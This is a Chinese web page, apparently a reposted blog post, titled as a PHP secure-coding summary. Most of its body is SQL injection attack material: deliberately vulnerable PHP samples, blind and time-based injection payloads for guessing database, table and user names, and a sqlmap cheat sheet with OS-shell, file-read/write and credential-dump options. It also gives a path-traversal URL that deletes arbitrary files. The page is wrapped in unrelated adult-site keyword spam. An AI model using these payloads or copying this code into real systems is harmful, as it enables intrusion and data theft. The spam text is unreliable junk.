久久精品五月,日韩不卡视频在线观看,国产精品videossex久久发布 ,久久av综合

站長資訊網
最全最豐富的資訊網站

PHP安全編碼總結(經驗分享)

本篇文章給大家帶來了關于PHP安全的相關知識,其中主要介紹了什么是SQL注入?盲注是怎么使用的?常用檢測命令有哪些等等,下面一起來看一下,希望對需要的朋友有所幫助。

PHP安全編碼總結(經驗分享)

PHP 安全編碼總結筆記

SQL注入: 代碼中的 HTTP_X_FORWARDED_FOR 地址可以被偽造,而REMOTE_ADDR則相對更安全,有些應用程序會將對方IP地址帶入數據庫查詢是否存在,例如同一個IP每天只能注冊一個賬號等,如果目標代碼中使用的是 HTTP_X_FORWARDED_FOR 獲取的IP地址,那么攻擊者就可以通過修改HTTP包頭實現SQL注入攻擊。

<?php function get_client_addr(){ if($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"],"unknown")){ $ip = $_SERVER["HTTP_CLIENT_IP"]; echo "HTTP_CLIENT_IP =" . $ip; }else if($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){ $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; echo "HTTP_X_FORWARDED_FOR =" . $ip; }else if($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){ $ip = $_SERVER["REMOTE_ADDR"]; echo "REMOTE_ADDR =" . $ip; }else{ $ip = "unknown"; } return $ip; } $addr = get_client_addr(); ?>
登錄后復制

SQL注入: 一種使用了過濾的代碼,接受的參數經過過濾,字符串會被過濾掉SQL注入的關鍵字,整數會被強制轉換為整數。

<?php $var = date_default_timezone_get(); echo "當前時區: " . $var . "<br>"; date_default_timezone_set("Asia/Shanghai");  if(!get_magic_quotes_gpc()){ $var = waf($_GET['id']); echo "過濾后的參數: " . $var; }  function waf($array){ if(is_array($array)){ foreach ($array as $key => $value) { $array [$key] = waf($value); } }else if(is_string($array)){ $array = addslashes($array); #$array = str_ireplace("and", "fuck", $array); $substr = array( "and" => "fuck you !", "where" => "fuck you !", "union" => "fuck you !", "select" => "fuck you !", "order" => "fuck you !", "update" => "fuck you !", "sleep" => "fuck you !", ); $array = str_ireplace(array_keys($substr), $substr,$array); }else if(is_numeric($array)){ $array = intval($array); } return $array; } ?>
登錄后復制

盲注的使用

首先需要簡單修改上方的源代碼,去掉回顯框,然后修改以下代碼.

<!DOCTYPE html> <html> <head>     <meta charset="gbk">     <title>SQL 注入測試代碼</title> </head>         <?php         $connect = mysqli_connect("localhost","root","123","lyshark");         if($connect)         {                 $id = $_GET['id'];                 if(isset($id))                 {                         $sql = "select * from users where id='$id' limit 0,1";                         $query = mysqli_query($connect,$sql);                         $row = mysqli_fetch_array($query);                         if(!empty($row))                         {                                 print("查詢完成了..");                         }else                         {                                 print("查詢失敗");                         }                 }         }         ?> <body>         <?php echo '<hr><b> 后端執行SQL語句:  </b>' . $sql;  ?> </body> </html>
登錄后復制

猜數據庫名稱: 盲注也就是程序會返回兩種狀態,查詢成功與查詢失敗,我們需要自己構建判斷條件,常用語句如下.

index.php?id=1' and left(version(),1)=5 --+            // 返回正常,說明版本號是5 index.php?id=1' and (length(database()))=7 --+         // 返回正常,說明數據庫名字長度是7  index.php?id=1' and (left(database(),1))='l' --+       // 返回正常,說明數據庫第一位是l index.php?id=1' and (left(database(),2))='ly' --+      // 返回正常,說明數據庫前兩位位是ly,以此類推  index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+  // 驗證第一位是否為l index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+  // 驗證第二位是否為y,以此類推
登錄后復制

猜表名:如果網頁返回正常,則說明存在這個表,返回不正常說明不存在.

index.php?id=1' and (select count(*) from mysql.user) >=0     // 存在mysql.user表 index.php?id=1' and (select count(*) from lyshark) >=0        // 存在lyshark表
登錄后復制

猜字段: 如果網頁返回正常,說明存在猜測的字段,不正常則需要繼續猜.

index.php?id=1' and (select count(id) from users) >=0       // 返回正常說明存在id字段 index.php?id=1' and (select count(name) from users) >=0     // 返回不正常不存在name字段 index.php?id=1' and (select count(*) from lyshark) >=3 #--   // 返回表中記錄數
登錄后復制

用戶名猜測: 通過正則符號也可使完成多指定用戶的探測,其他函數用法相同.

index.php?id=1' and (length(user())) >=14 #                // 猜測數據庫用戶名稱長度 index.php?id=1' and (select user() like 'root%') #         // 猜測用戶名 index.php?id=1' and (select user() regexp '^[a-z]') #      // 猜測開頭a-z index.php?id=1' and (select user() regexp '^r') #          // 第一位是r index.php?id=1' and (select user() regexp '^ro') #         // 第二位是o index.php?id=1' and (select user() regexp '^root') #       // 以此類推猜測前四位
登錄后復制

延時注入: 通過sleep(5)延時的方式,我們同樣可以判斷是否存在注入點.

index.php?id=1' and sleep(5) # index.php?id=1' and sleep(5) order by 3 #                       // 如果是3個字段,則會延時5秒 index.php?id=1' and select if(length(user())=0,sleep(3),1) #    //如果user=0則延時3秒 index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) #   // 第1個字符=d則延時3秒 index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) #   // 第2個字符=v則延時3秒
登錄后復制

◆sqlmap 命令◆

常用檢測命令:

sqlmap -u "./index.php?id=1" -v 3                   # 顯示攻擊載荷 sqlmap -u "./index.php?id=1" --level=3              # 指定探測級別 sqlmap -u "./index.php?id=1" --privileges           # 測試所有用戶權限 sqlmap -u "./index.php?id=1" --privileges root      # 測試root用戶權限 sqlmap -u "./index.php?id=1" --all                  # 查詢所有數據庫 sqlmap -u "./index.php?id=1" --hostname             # 查詢當前主機名 sqlmap -u "./index.php?id=1" --is-dba               # 判斷root權限 sqlmap -u "./index.php?id=1" --users                # 枚舉數據庫用戶 sqlmap -u "./index.php?id=1" --random-agent         # 隨機User-Agent sqlmap -u "./index.php?id=1" --output-dir=""        # 自定義輸出目錄 sqlmap -u "./index.php?id=1" --file-read=""         # 讀取文件 sqlmap -u "./index.php?id=1" --file-write=""        # 寫入操作 sqlmap -u "./index.php?id=1" --os-cmd="net user"    # 執行一條命令 sqlmap -u "./index.php?id=1" --os-shell             # 交互執行命令 sqlmap -u "./index.php?id=1" --sql-query=""         # 執行的SQL語句 sqlmap -u "./index.php?id=1" --cookie=""            # 指定cookie sqlmap -u "./index.php?id=1" --temper=""            # 指定過濾腳本 sqlmap -u "./index.php?id=1" --dbs --delay 1        # 延時1秒后注入 sqlmap -u "./index.php?id=1" --dbs --safe-freq 3    # 延時3秒后注入  sqlmap -u "./index.php?id=1" --identify-waf                  # 測試是否有WAF sqlmap -u "./index.php?id=1" --current-db                    # 查詢當前數據庫 sqlmap -u "./index.php?id=1" --current-user                  # 查詢當前主機名 sqlmap -u "./index.php?id=1" --users                         # 查詢所有用戶名 sqlmap -u "./index.php?id=1" --dbs                           # 列出所有數據庫 sqlmap -u "./index.php?id=1" --tables                        # 列出所有的表  sqlmap -u "./index.php?id=1" -D "mysql" --tables             # 獲取mysql庫中的表 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns  # 獲取mysql.host表列名稱 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump     # 將mysql.host保存到本地 sqlmap -u "./index.php?id=1" -D "mysql" --dump-all           # 全部脫褲 sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump
登錄后復制

Cookie注入: 當level>=2時,使用cookie注入,level >=3 使用User-agent/Referer注入.

sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2                        #判斷注入點 sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2                  #猜數據庫名 sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2               #猜表名稱 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2        #猜字段 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜內容
登錄后復制

POST注入: 該方法通常是使用抓包工具抓取數據包,然后指定字段進行測試即可.

1.瀏覽器打開目標地址 http://www.xxx.com/index.php

2.配置burp代理(127.0.0.1:8080) 準備攔截請求

3.點擊login表單的submit按鈕,或者其他按鈕均可

4.這時候Burp會攔截到了我們的登錄POST請求

5.把這個post請求復制為txt,記錄下其中的 id=1&Submit=Submit

sqlmap -r post.txt -p id --dbs Sqlmap -r post.txt -p id -D mysql --tables Sqlmap -r post.txt -p id -D mysql -T user --columns sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"
登錄后復制

其他漏洞利用

任意文件刪除: 執行刪除語句http://php.com/?dir=…..////&file=a.txt 完成漏洞利用.

<?php $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\', '../', './', '.\'), '', urldecode(trim($_GET['dir']))) : ''; $dir = str_replace("-", "/", $dir); $file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : ''; $path = "./" . $dir . "/" . $file; $path = str_replace(array("//"), array("/"), $path); echo "當前路徑是: " . $path . "<br>"; if (file_exists($path)) { if (unlink($path)) {     echo "刪除完成.."; } else {     echo "刪除失敗.."; } } ?>
登錄后復制

推薦學習:《PHP視頻教程》

贊(0)
分享到: 更多 (0)
?
網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
久久精品五月,日韩不卡视频在线观看,国产精品videossex久久发布 ,久久av综合
欧美性感美女一区二区| 欧美成人高清| 九九精品调教| 亚洲欧美日本国产| 韩国久久久久久| 日韩激情一区二区| 日韩一区二区三区在线免费观看| 欧美激情99| 亚洲91精品| 国产精品尤物| 日韩一区二区三区精品| 久久精品亚洲欧美日韩精品中文字幕| 国产日韩一区二区三区在线| 尹人成人综合网| 国产在线|日韩| 老司机精品视频在线播放| 国产麻豆一区二区三区精品视频| 中文在线资源| 亚洲精品乱码久久久久久蜜桃麻豆 | 国产欧美二区| 国产在线一区不卡| 国产精品任我爽爆在线播放| 亚洲黑丝一区二区| 国产精品啊v在线| 国产午夜精品一区二区三区欧美 | 在线国产一区| 1024精品一区二区三区| 国产黄大片在线观看| 青青草精品视频| 中文字幕免费一区二区| 在线观看亚洲精品福利片| 国产视频一区三区| 视频一区中文| 午夜欧美巨大性欧美巨大| 色综合视频一区二区三区日韩 | 亚洲人www| 国产福利亚洲| 国产毛片久久久| 国产精品日本欧美一区二区三区| 亚洲欧美日韩精品一区二区| 日韩欧美看国产| 最新国产精品久久久| 影音先锋久久精品| 国产成人久久精品麻豆二区| 国产精品一区二区av交换| 超碰在线99| 国产激情在线播放| 久久精品av麻豆的观看方式| 亚洲v天堂v手机在线| 欧美日一区二区| 国产伊人精品| 国产成人调教视频在线观看| 亚洲免费福利一区| 亚洲综合欧美| 亚洲色图网站| 日韩中文欧美在线| 国产精品一区二区99| 欧美极品中文字幕| 国产aa精品| 国产精品毛片aⅴ一区二区三区| 午夜久久tv| av资源新版天堂在线| 精品欧美日韩精品| 国产高清日韩| 欧美成a人国产精品高清乱码在线观看片在线观看久 | 婷婷激情图片久久| 在线观看精品| 婷婷综合成人| 日本三级亚洲精品| 美女网站视频一区| 久久国产人妖系列| 综合色就爱涩涩涩综合婷婷| 日本国产一区| 麻豆精品蜜桃视频网站| 国产日产高清欧美一区二区三区| 欧美日本久久| 国产精品蜜芽在线观看| 国产精品一区免费在线| 欧美亚洲国产精品久久| 亚洲精品观看| 日韩av有码| 久久99青青| 亚洲午夜久久| 国产欧美一区二区色老头| 国产福利亚洲| 国产成人精品亚洲线观看| 1000部精品久久久久久久久| 日产欧产美韩系列久久99| 国产精品成人一区二区不卡| 日日夜夜免费精品| 影音先锋久久| 麻豆传媒一区二区三区| 欧美一级二级三级视频| 97精品中文字幕| 亚洲欧洲日韩| 日韩欧美一区二区三区在线视频| 波多野结衣一区| 麻豆91精品91久久久的内涵| 蜜桃传媒麻豆第一区在线观看| 韩日一区二区三区| 天堂中文av在线资源库| 欧美日韩国产探花| 成人在线超碰| 日韩欧美美女在线观看| 亚洲资源在线| 欧美日韩一区二区三区视频播放| 欧美激情三区| 伊人网在线播放| 日韩欧美自拍| 欧美日韩免费观看一区=区三区| 国产精久久久| 国产传媒在线观看| 久久久久国产一区二区| 亚洲国产一区二区在线观看| 欧美一级精品| 福利一区二区| 99国产精品久久久久久久成人热| 啪啪国产精品| 免费视频一区三区| 久久精品色播| 久久精品国产免费| 免费在线小视频| 天堂网av成人| 9国产精品视频| 日本视频一区二区| 国产精品久久久久av蜜臀| 精品中文在线| 伊人久久高清| 欧美日韩在线网站| 国产亚洲精品v| 欧美天堂视频| 日本强好片久久久久久aaa| 亚洲欧洲一区| 国产精品一区二区免费福利视频| 久久uomeier| 中文字幕成人| 亚洲精品国产精品粉嫩| 黄色国产精品| 国产日本亚洲| 国产精品一区毛片| 久久久噜噜噜| 亚洲中字黄色| 欧美激情亚洲| 国产精品手机在线播放| 伊人久久大香线蕉av不卡| 男人操女人的视频在线观看欧美| 亚洲tv在线| 国产精品第十页| 激情综合网五月| 日韩福利视频导航| 久久精品99久久久| 国产精品视频一区二区三区四蜜臂 | 国产精品久久乐| 老牛影视一区二区三区| 国产中文字幕一区二区三区| 美女福利一区二区三区| 亚洲一级黄色| 日韩精品久久理论片| 精品中文一区| 蜜臀91精品一区二区三区| 国产一区日韩| 日韩欧美四区| 日韩在线综合| 今天的高清视频免费播放成人| 蜜桃视频一区二区三区| 999国产精品| 91成人精品观看| 少妇精品导航| 国产欧美日韩在线一区二区| 日本在线高清| 蜜桃伊人久久| 韩日一区二区| 亚洲日本免费电影| 久久久成人网| 国产日产高清欧美一区二区三区| 福利片在线一区二区| 亚洲色图综合| 国产精品av久久久久久麻豆网| 国产精品毛片久久久| 中文字幕av亚洲精品一部二部| 青青久久av| 久久精品国产福利| 日本欧美久久久久免费播放网| 激情久久中文字幕| 91视频久久| 日韩精品一区二区三区中文在线 | 麻豆精品蜜桃视频网站| 伊人久久大香伊蕉在人线观看热v| 亚洲成人免费| 亚洲国产福利| 麻豆国产精品视频| 国产经典一区| 精品中文在线| 国产一区二区三区不卡视频网站 | 天堂av一区| 好看不卡的中文字幕| 亚洲精品人人| 丰满少妇一区| 欧美资源在线| 国产精品天天看天天狠|